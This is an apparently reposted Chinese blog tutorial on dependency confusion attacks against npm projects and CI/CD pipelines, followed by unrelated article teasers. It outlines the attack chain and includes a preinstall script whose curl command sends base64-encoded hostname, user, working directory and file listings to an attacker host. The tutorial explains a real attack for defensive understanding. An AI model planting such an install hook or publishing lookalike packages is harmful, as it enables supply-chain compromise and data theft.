由混淆依赖所引起的RCE

正文

正常情况下

在一个正常的开发和部署环境中,package.json 文件和相关脚本被用来管理项目依赖、定义项目设置以及执行常规的构建或部署任务。一个典型的正常请求过程可能如下:

1.安装依赖:

#现代有很多人用yarn,pnpm等替代npm,不管怎么说,但是他们都是从同一个中央文件库(如NPM官方仓库)里面下载依赖
npm install

这个命令根据package.json中列出的依赖项安装所需的库。这些库来自于可信的、经过验证的来源(如NPM官方仓库)。

2.执行脚本:

在package.json中,可能定义了多种脚本用于测试、构建或部署,例如:

"scripts": {
  "test": "echo \"Error: no test specified\" && exit 1"
}

执行测试脚本:

npm test

这会运行定义在test脚本中的命令,通常这些脚本用于运行单元测试或其他验证检查。

受到攻击后

在受到依赖混淆攻击的情况下,package.json中的依赖可能指向了恶意代码或脚本,攻击者利用这一点在CI/CD流程中执行非授权代码。攻击示例可能如下:

恶意依赖安装:

如果攻击者在公共仓库中注册了一个与私有依赖同名的包,并且该包包含恶意代码,那么在执行:

npm install

的时候,可能会错误地从公共仓库下载并安装这个恶意包,而不是原本预期的私有包。

执行恶意脚本

如果package.json的preinstall脚本被指向攻击者控制的脚本,如:

"scripts": {
  "preinstall": "./pre.sh"
}

其中pre.sh可能包含以下内容:

#!/bin/bash

curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" -d $(ls -la | base64)  http://yourvps.com

这个脚本会在安装依赖前执行,发送关键的系统信息到攻击者的服务器,甚至可能包括敏感的环境数据。

整个攻击流程

环节 1:发现未声明的依赖项

攻击者在调查其他安全问题时,获取到了目标系统的package.json文件(这种文件可以通过暴力破解目录的方式获取比如Dirsearch或者是ffuf等)。通过分析这个文件,攻击者发现了一个未在公共NPM仓库中注册的依赖名。这个依赖可能是私有的,或者没有被正确声明。

常见的分析文件的工具如: https://github.com/visma-prodsec/confused

环节 2:注册和创建恶意包

利用依赖混淆:

攻击者在公共NPM仓库中注册了未声明的依赖名,并上传了一个包含恶意代码的包。这个恶意包包含了攻击者设计的脚本和代码,旨在执行特定的恶意操作。

环节 3:执行恶意代码

恶意脚本的植入和触发:

攻击者在恶意包中包括了一个preinstall脚本(pre.sh),这个脚本在包安装之前自动执行。脚本内容可能包括发送敏感信息到攻击者服务器的命令,如系统用户名、主机名和当前目录等。

当目标组织的CI/CD流程自动安装依赖时,由于名称混淆,CI/CD系统会从公共仓库下载并安装攻击者的恶意包而不是原本预期的私有或正确的包。

环节 4:信息收集与进一步的利用

数据泄露和系统访问:

pre.sh脚本执行时,会通过curl命令发送编码后的系统信息到攻击者控制的服务器。攻击者可以利用这些信息进行进一步的攻击,例如通过收集的信息进行针对性的进一步渗透或发起更具破坏性的攻击。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/593805.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

进程与线程(进程)

进程: 概念:进程是进程实体的运行过程,是系统进行资源分配和调度的一个独立单位 PID:当进程被创建时,操作系统会为该进程分配一个唯一的、不重复的“身份证号” 组成: PCB(进程控制块)&#…

使用AIGC生成软件类图表

文章目录 如何使用 AI 生成软件类图表什么是 MermaidMermaid 的图片如何保存?mermaid.liveDraw.io Mermaid可以画什么图?流程图时序图 / 序列图类图状态图甘特图实体关系图 / ER图 如何使用 AI 生成软件类图表 ChatGPT 大语言模型不能直接生成各类图表。…

W801学习笔记二十:宋词学习应用

前三章完成了唐诗的应用,本章将实现宋词的学习应用。 宋词与唐诗的区别不大,马上开始。 1、我们需要参考前面唐诗的方式,把宋词文本下载下来,并进行格式整理。 W801学习笔记十七:古诗学习应用——上 2、在菜单中添加…

电脑上的视频在电视上播放

视频右键->播放到设备->客厅电视 海信电视测试成功

BI不等同数据分析,别搞错了!

✅作者简介:《数据运营:数据分析模型撬动新零售实战》作者、《数据实践之美》作者、数据科技公司创始人、多次参加国家级大数据行业标准研讨及制定、高端企培合作讲师。 🌸公众号:风姑娘的数字视角,免费分享数据应用相…

【Transformer系列(1)】self-attention自注意力

一、self-attention流程 自注意力机制和注意力机制的区别在于,注意力机制中的Q(查询向量),K(键向量),V(值向量)是同源的,而一般的注意力机制,Q和…

谈谈Tcpserver开启多线程并发处理遇到的问题!

最近在学习最基础的socket网络编程,在Tcpserver开启多线程并发处理时遇到了一些问题! 说明 在linux以及Windows的共享文件夹进行编写的,所以代码中有的部分使用 #ifdef WIN64 ... #else ... #endif 进入正题!!&…

50个前端实战项目之04:隐藏的搜索小组件

大家好,我是宝哥。 今天讲50个前端实战项目之04:隐藏的搜索小组件。 源码下载地址 https://github.com/bradtraversy/50projects50days/tree/master/hidden-search 前端实战项目系列正在更新:04/50 01:可展开卡片02:进…

C语言中的goto语句

goto label; C 语言中的 goto 语句允许把控制无条件转移到同一函数内的被标记的语句。 #include <stdio.h> int main(){goto first;printf("我是你好\n");first:printf("nihao\n");second:printf("This is 2\n");return 0; } 使用goto会…

西门子1200脉冲轴【PTO】

原理图&#xff1a; PTO (Pulse Train Output) 脉冲串输出 PLC的电压是DC24v的&#xff0c;所以驱动器的信号电压是否支持&#xff0c;以免烧坏。 台达A2&#xff1a; //L型机&#xff1a; //&#xff08;方向&#xff1a;3524v&#xff0c;393.3v&#xff0c;37-GN…

力扣 647. 回文子串

题目来源&#xff1a;https://leetcode.cn/problems/palindromic-substrings/description/ C题解1&#xff1a;暴力解法。不断地移动窗口&#xff0c;判断是不是回文串。 class Solution { public:int countSubstrings(string s) {int len s.size();int res 0;for(int i 0;…

【JAVA项目】基于个人需求和地域特色的【外卖推荐系统】

技术简介&#xff1a;采用B/S架构、ssm 框架、Java技术、MySQL等技术实现。 系统简介&#xff1a;统权限按管理员&#xff0c;商家和用户这三类涉及用户划分。(a) 管理员&#xff1b;管理员使用本系统涉到的功能主要有&#xff1a;首页&#xff0c;个人中心&#xff0c;用户管理…

GDPU unity游戏开发 碰撞器与触发器

砰砰叫&#xff0c;谁动了她的奶酪让你的小鹿乱撞了。基于此&#xff0c;亦即碰撞与触发的过程。 碰撞器与触发器的区别 通俗点讲&#xff0c;碰撞器检测碰撞&#xff0c;触发器检测触发&#xff0c;讲了跟没讲似的。碰撞器是用来检测碰撞事件的&#xff0c;在unity中&#xff…

JavaWeb请求响应概述

目录 一、请求响应流程-简述 二、深入探究 三、DispatcherServlet 四、请求响应流程-详细分析 一、请求响应流程-简述 web应用部署在tomcat服务器中&#xff0c;前端与后端通过http协议进行数据的请求和响应。前端通过http协议向后端发送数据请求&#xff0c;就可以访问到部…

Golang日志管理:使用log/slog实现高级功能和性能优化

Golang日志管理&#xff1a;使用log/slog实现高级功能和性能优化 简介基础使用初始化和配置日志级别 高级技巧自定义日志格式器条件日志处理 实战案例场景一&#xff1a;API请求日志记录场景二&#xff1a;错误跟踪和用户通知 性能优化优化日志记录的性能异步日志处理选择合适的…

算法设计与分析——期末1h

目录 第一章 算法的定义 算法的三要素 算法的基本性质 算法的时间复杂度数量级&#xff1a; 第二章 兔子繁殖问题&#xff08;递推法&#xff09; 猴子吃桃问题&#xff08;递推法&#xff09; 穿越沙漠问题&#xff08;递推法&#xff08;倒推&#xff09;&#xff09; 百钱百…

C++进阶----多态

1.多态的概念 1.1 概念 多态的概念&#xff1a;通俗来说&#xff0c;就是多种形态&#xff0c;具体点就是去完成某个行为&#xff0c;当不同类型的对象去完成时会 产生出不同的状态。 举个例子&#xff1a;比如有一个基类Animal&#xff0c;它有两个子类Dog和Cat。每个…

SpringCloud知识点梳理

1. Spring Cloud 综述 1.1 Spring Cloud 是什么 [百度百科]Spring Cloud是⼀系列框架的有序集合。它利⽤Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现注册、配置中⼼、消息总线、负载均衡、断路器、数据监控等,都可以⽤ Spring Boot的开发⻛格…

eNSP-动态路由(ospf协议)

一、拓扑结构搭建 二、主机配置 pc1 pc2 三、路由器配置 1.AR2配置 <Huawei>sys #进入系统视图 [Huawei]int g0/0/0 #进入接口 [Huawei-GigabitEthernet0/0/0]ip address 192.168.0.2 24 #设置ip地址 [Huawei-GigabitEthernet0/0/0]q #返回上一级 [Huawei]int g0/0/1 …

长期找 AI 专家,邀请参加线上聊天直播

诚邀 AI 专家参加线上聊天&#xff0c;成为嘉宾。 分享前沿观点、探讨科技和生活 除节假日外&#xff0c;每周举办在线聊天直播 根据话题和自愿形式结合&#xff0c;每期 2~3 位嘉宾 成为嘉宾&#xff0c;见下&#xff1a;
最新文章